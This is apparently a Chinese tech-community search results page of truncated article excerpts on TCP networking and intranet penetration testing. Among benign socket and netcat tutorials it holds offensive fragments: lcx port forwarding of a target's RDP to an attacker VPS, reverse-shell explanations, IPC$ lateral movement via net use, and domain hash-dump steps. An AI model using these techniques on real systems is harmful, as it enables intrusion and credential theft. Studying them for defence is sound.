首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    网络编程-再看TCP的四次挥手

    为什么要四次挥手 为什么建立一个TCP连接需要三次握手,而终止一个连接需要四次挥手呢?这是因为TCP半关闭造成的。由于一个TCP连接是全双工的,在两个方向上都能传输数据,因此两个方向就需要单独关闭。...所以这个流程是这样的: 客户端执行主动关闭,发送FIN报文,告诉服务端,我没有数据要发送了,我要关闭连接,当然了,你有啥数据要给我,我随时候着 服务端收到后,必须及时告诉客户端我收到了,因此先回复客户端一个...试想这样的场景: 假设一开始已经有一个连接在1234端口建立,我们关闭这个连接;过一会我们在同样的ip和端口建立连接,但是TCP必须防止在前一次连接中的老的报文在它原先的连接已终止后,还出现在这个新的连接中...,因此,TCP将不允许在处于TIME_WAIT状态的ip和端口处建立新的连接。...但是需要注意: 由于客户端通常使用的是临时端口(仔细观察会发现,客户端每次启动使用的端口基本都不一样),因此客户端即便处于TIME_WAIT状态,也不影响它马上再次启动 一些实现允许一个新的连接请求仍然处于

    68020

    内网渗透测试:隐藏通讯隧道技术

    攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。...攻击者vps主动去连web -L:本地端口转发 执行以下命令,查看本地1153端口是否已经建立连接。...然后浏览器中的请求会被转发到 SSH 服务端(内网web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。...,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。...简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。

    2.3K40

    bind_tcp正向连接在实战中的应用

    首先VPS机器监听51端口,连接用1234端口: VPS机器执行: C:\>lcx.exe -listen 51 1234 目标机器执行: /c C:\Inetpub\lcx.exe -slave {公网...VPS IP} 51 127.0.0.1 3389 执行转发后发现3389端口还是连不上,我们本地机器执行的监听也没有接收到任何返回的数据,用netstat -ano命令查看了下目标当前网络连接状态如下...SYN_SENT状态,被拦截了,没有建立完整TCP连接,所以还是无法连接3389端口,如果是完整TCP连接就会变为了ESTABLISHED状态,出现SYN_SENT状态的常见三种情况。...这里不管我们本地是内网还是外网,用bind_tcp正向连接时可以不用去路由器里做端口映射,因为是我们主动去连接对方目标服务器的53端口。...root@devil:~# rdesktop -g 870 127.0.0.1:1234 ?

    3.4K20

    Day23网络编程

    创建TCP连接时,主动发起连接的叫客户端,被动响应连接的叫服务器。 举个例子,当我们在浏览器中访问新浪时,我们自己的计算机就是客户端,浏览器会主动向新浪的服务器发起连接。...SOCK_STREAM指定使用面向流的TCP协议,这样,一个Socket对象就创建成功,但是还没有建立连接。 客户端要主动发起TCP连接,必须知道服务器的IP地址和端口号。...我们来编写一个简单的服务器程序,它接收客户端连接,把客户端发过来的字符串加上Hello再发回去。...127.0.0.1是一个特殊的IP地址,表示本机地址,如果绑定到这个地址,客户端必须同时在本机运行才能连接,也就是说,外部的计算机无法连接进来。 端口号需要预先指定。...', 9999)) ConnectionRefusedError: [WinError 10061] 由于目标计算机积极拒绝,无法连接。

    69540

    IPC$横向移动

    ,d,e IPC$渗透价值 利用IPC$连接可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息,同时你可以向目标主机上传文件,并在目标主机中通过计划任务来执行特定脚本等等...,因此一般来讲,ipc连接是需要139或445端口来支持的。...常见错误号如下: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows 无法找到网络路径 : 网络有问题; 错误号53,找不到网络路径 : ip地址错误...@#$" /user:administrator 查看连接 之后在攻击主机中使用以下命令查看当前当前建立的连接: net use 查看目录 在使用net use命令与远程目标机器建立IPC$之后,可以使用...在使用at命令在远程机器上创建计划任务之前,还需要使用net use命令建立IPC$,下面对上面的过程做一个简单的演示: (1)查看目标系统时间 net time \\192.168.188.140

    5.1K30

    网络工具中的“瑞士军刀”了解一下?

    端口扫描 例如需要扫描某个机器上21-30哪些端口是开放的: $ nc -n 127.0.0.1 -z 1230-1234 -v nc: connect to 127.0.0.1 port 1230...; $ nc 127.0.0.1 1234hello 编程珠玑 连接本地地址1234端口,这个过程中就可以抓包,分析TCP的三次握手了。...除此之外,你还可以在建立好的连接之间发送消息(简单的聊天功能),让你分析更多! 默认情况,它创建的是TCP连接,而使用-u(UDP)参数可以测试UDP连通性。...来说明,因此这里不详解介绍。...数据传输 还是利用前面的连接,借助重定向符可以进行文件传输,例如服务端监听,并把内容输出到out.txt: $ nc -l 1234 > out.txt 而客户端连接: $ nc 127.0.0.1 1234

    73920

    内网渗透之隐藏通信隧道技术

    简介 在最简单的情况下,两台主机之间数据的交换建立在TCP/IP协议之上,也就是说知道了IP、建立了TCP连接,那么两台主机便可以进行数据传输。...可以看到目标主机的80端口是开启的 获得shell (1).正向shell 即攻击机主动去连接受害机,正向连接使用频率较少,因为这种shell很容易被各种边界设备所拦截 在受害机中执行 nc -lvp...3.perl反弹shell 如果目标机器上使用的是perl语言,那么我们还可以使用perl反弹shell 攻击机本地监听4321端口 nc -lvp 4321 ?...会提示输入web服务器的密码,输入密码 由于我们选择的是静默模式,所以可以本地查看一下2021端口是否被监听来检查通道的建立是否正常 netstat -tulnp | grep "2021" ?...实验环境: 攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机 实验目标:通过访问攻击机本机的

    1.7K40

    Linux环境反弹shell原理与姿势

    文章前言 我们日常渗透测试过程中的最终目的是获取到目标系统的权限,常见的有通过文件上传、命令执行、反序列化等方式,其中在执行命令执行的时候由于目标系统大多数情况下处于防火墙之后、命令执行的权限不够、端口被占用等情况...正向连接 正向连接通常指的是客户端主动向服务器发起的连接请求,在这种情况下客户端知道要连接的服务器的IP地址和端口并发送连接请求,正向连接的典型例子包括: HTTP/HTTPS 请求:浏览器发送请求到Web...,这样设置之后受害者的Bash shell将会从攻击者的计算机接收输入(即执行命令) 此命令的整体功能是启动一个交互式Bash shell并将其连接到攻击者指定的IP地址和端口上,执行此命令后,受害者的计算机将主动建立一个...TCP连接到攻击者的机器,同时将所有输入和输出都重定向到这个连接中,使得攻击者可以直接在受害者的shell中执行命令 其他反弹 NC反弹shell 如果目标机器上有nc并且存在-e参数,那么可以建立一个反向...IP地址和端口进行通信,在这里它试图连接到192.168.204.144的1234端口 2、cat <&5 cat:这是一个用于读取文件内容的命令 <&5:这个部分表示从文件描述符5(即我们刚才打开的TCP

    11910

    TCP 三次握手和四次挥手

    - 不采用两次握手的原因 2:A 和 B 可以就 A 的初始化序列号达成一致,但无法就 B 的初始化序列号达成一致,所以达不到同步初始序列号的目标。...但是由于 A 建立连接的时候网络环境较差,所以它会发送多个建立连接请求,有的请求过了好一会儿后终于到达了 B,B 会认为这也是一个正常请求,因此建立了连接,从而造成了资源的浪费。...安全性 - 不采用两次握手的原因 4:无法避免拒绝服务攻击(DDos) 服务器无法验证客户端的真伪,对每个进来的连接都分配连接资源,伪造的海量 SYN 报文很容易欺骗服务器,导致服务器开辟出大量的连接资源...等合法的连接请求到达时,服务端没有多余的资源,导致无法提供服务,这就是拒绝服务攻击(DDos)。...,并将 IP 地址 "127.0.0.1" 替换成所在机器的真实 IP,体验下两台机器间的通信。

    39241

    浅谈内网端口转发

    我们将代理脚本上传到目标服务器,在本地访问代理脚本 ? 这样我们执行一下三条命令就可以成功将目标主机的3389端口代理到本地的1234端口,本地连接1234端口就可以登陆内网服务器。...连接成功会有欢迎提示,之后输入命,在java命令窗口执行 [createTunnel]1234:127.0.0.1:3389 ? ?...使用mstsc登录127.0.0.1:1234,到了这一步就算成功了,我们可以根据前期抓取到的登陆密码进行登陆。 ? ? 由于小白能力有限,其它的sockes代理后续会以实验的形式 再呈现给大家。...IP是无法与我们的公网IP进行通信的,中间隔了一道墙这怎么搞?...在目标主机上面查看端口信息发现,目标主机与公网IP的8888端口建立了连接,故内网主机的shell反弹到了公网服务器。 ?

    2.4K10

    利用SSH(无密码)免登录来节省你的生命

    因此这一节,我们首先介绍/回顾 SSH 的最基本用法;而后讨论 SSH 是如何解决过去远程登录协议遗留下来的问题的;借此,我们将讨论 SSH 连接建立时会发生什么;介绍完这些内容之后,我们将介绍如何免密登录...前文提到,SSH 提出的背景即是在它出现之前,远程登录协议无法保障通信安全。那么,在 SSH 出现之前,远程登录可能面临哪些信息泄露风险呢? 首先是前文提到的旁路嗅探。...若是你的机器不支持 ssh-copy-id,也可以直接将公钥信息写入远程主机目标用户的 ${HOME}/.ssh/authorized_keys 当中。...那么,为了免密以 cloud 用户的身份登录这 1000 台机器,我们可以首先将准备好的公钥上传到这 1000 台机器上;而后在 SSH 配置文件里配置如下内容。 1234 Host i? i??...下次再连接这台主机,系统就会认出它的公钥已经保存在本地了,从而跳过警告部分,直接提示输入密码。

    1.5K10

    网络编程-从TCP连接的建立说起

    因此本文将从TCP的连接的建立说起。在此之前,假设你已经对计算机网络有了最基本的认识。...想象这样一种情况,客户端发起了一个连接请求在网络中滞留了很长时间,以至于在连接建立好且断开连接后,它才到达服务端,此时如果采用两次握手,那么服务端就会认为这个报文是新的连接请求,于是建立连接,等待客户端发送数据...首先在终端1准备抓包: $ tcpdump port 1234 -i any -v -n 在终端2启动监听1234端口: $ nc -l 1234 在终端3连接: $ nc 127.0.0.1 1234...127.0.0.1 1234 -v nc: connect to 127.0.0.1 port 1234 (tcp) failed: Connection refused TCP抓包内容如下: tcpdump...SYN攻击 正因如此,如果有人恶意地向服务器发送大量的SYN包,并且由于客户端IP是伪造的,导致服务器收不到ACK,不断重发ACK,以至于半连接队列容易占满,导致无法处理正常的连接请求,并且可能导致服务器资源耗尽

    68421

    【攻击】日蚀攻击,女巫攻击,重放攻击,DDOS攻击的定义?

    防御方法: 以太坊是通过限制主动连接过来的数量来阻止日蚀攻击的。...【分布式拒绝服务攻击(DDoS)】 (英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击...,使攻击的目标无法正常使用,分布式拒绝服务攻击已经出现了很多次,导致很多的大型网站都出现了无法进行操作的情况,这样不仅仅会影响用户的正常使用,同时造成的经济损失也是非常巨大的。...由于目前很多防火墙直接过滤ICMP报文。因此ICMP Flood出现的频度较低。...并且建立连接之后很长时间不释放,占用服务器的资源,造成服务器上残余连接(WAIT状态)过多,效率降低,甚至资源耗尽,无法响应其他客户所发起的链接。

    4.2K30

    安全研究 | 使用PortShellCrypter对你的shell会话进行加密

    想象一下,在Shell会话中有一个不可见的ppp会话,而目标远程设备实际上不支持ppp,那么PortShellCrypter就可以发挥作用了。...,并在现有会话上建立了一个对我们透明的附加协议。...然后,我们可以通过TCP连接到本地设备上的127.0.0.1:1234以达到192.168.0.254:22,或者通过UDP连接到8.8.8.8解析器。...如果远程站点具有IPv6连接,这也适用于[IPv6]地址。实际上,我们甚至可以使用它将IPv4软件转换为IPv6,因为我们总是在本地连接到127.0.0.1。 此时,我们可以传递多个-T和-U参数。...由于SSH不转发UDP数据包,因此通常会使用两个socat连接器或类似的连接器通过Tor节点进行解析。

    81930

    Python的socket编程,有兴趣了解一下?

    socket起源于UNIX,在Unix一切皆文件哲学的思想下,socket是一种"打开—读/写—关闭"模式的实现,服务器和客户端各自维护一个"文件",在建立连接打开后,可以向自己文件写入内容供对方读取或者读取对方内容...", 1234)) # 绑定端口,“127.0.0.1”代表本机地址,1234为设置链接的端口地址 sk.listen(5) # 设置监听,最多可有5个客户端进行排队 conn, addr = sk.accept...客户端: import socket # 导入socket模块 sk = socket.socket() # 创建socket对象 sk.connect(("127.0.0.1", 1234))...backlog指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可以了。...sk.accept() # 被动接受TCP客户端连接,(阻塞式)等待连接的到来 客户端 s.connect() # 主动初始化TCP服务器连接,。

    85910

    零基础看内网渗透技术

    端口转发 1、windows lcx 监听1234端口,转发数据到2333端口 本地:lcx.exe -listen 1234 2333 将目标的3389转发到本地的1234端口 远程:lcx.exe...监听1234端口,转发数据到2333端口 本地:./portmap -m 2 -p1 1234 -p2 2333 将目标的3389转发到本地的1234端口 ....tunna >端口转发(将远程3389转发到本地1234) >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v > >连接不能中断服务...3、实战中hash导出流程 1.建立ipc连接 net use \\DC1\c password /user:username 2.复制文件到DC copy .\* \\DC1\windows\tasks...另外两个比较重要的参数 -c :拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除) -d 不等待程序执行完就返回 比如想上传一个本地的getpass到你远程连接的服务器上去:

    2.1K10
    领券